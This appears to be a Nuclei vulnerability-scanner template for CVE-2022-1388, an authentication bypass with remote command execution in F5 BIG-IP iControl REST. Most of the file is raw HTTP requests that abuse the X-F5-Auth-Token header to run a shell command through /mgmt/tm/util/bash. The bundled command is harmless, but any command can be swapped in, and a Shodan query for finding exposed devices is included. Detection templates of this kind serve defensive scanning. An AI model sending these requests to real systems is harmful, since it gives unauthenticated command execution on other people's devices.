id: CVE-2022-1388

info:
  name: F5 BIG-IP iControl - REST Auth Bypass RCE
  author: dwisiswant0,Ph33r
  severity: critical
  description: |
    This F5 BIG-IP vulnerability can allow an unauthenticated attacker
    with network access to the BIG-IP system through the management
    port and/or self IP addresses to execute arbitrary system commands.
  reference:
    - https://twitter.com/GossiTheDog/status/1523566937414193153
    - https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
    - https://support.f5.com/csp/article/K23605346
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1388
    cwe-id: CWE-306
  metadata:
    shodan-query: http.title:"BIG-IP®-+Redirect" +"Server"
    verified: "true"
  tags: f5,bigip,cve,cve2022,rce,mirai

variables:
  auth: "admin:"
  cmd: "echo CVE-2022-1388 | rev"

requests:
  - raw:
      - |
        POST /mgmt/tm/util/bash HTTP/1.1
        Host: {{Hostname}}
        Connection: keep-alive, X-F5-Auth-Token
        X-F5-Auth-Token: a
        Authorization: Basic {{base64(auth)}}
        Content-Type: application/json

        {
             "command": "run",
             "utilCmdArgs": "-c '{{cmd}}'"
        }

      - |
        POST /mgmt/tm/util/bash HTTP/1.1
        Host: localhost
        Connection: keep-alive, X-F5-Auth-Token
        X-F5-Auth-Token: a
        Authorization: Basic {{base64(auth)}}
        Content-Type: application/json

        {
             "command": "run",
             "utilCmdArgs": "-c '{{cmd}}'"
        }

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "commandResult"
          - "8831-2202-EVC"
        condition: and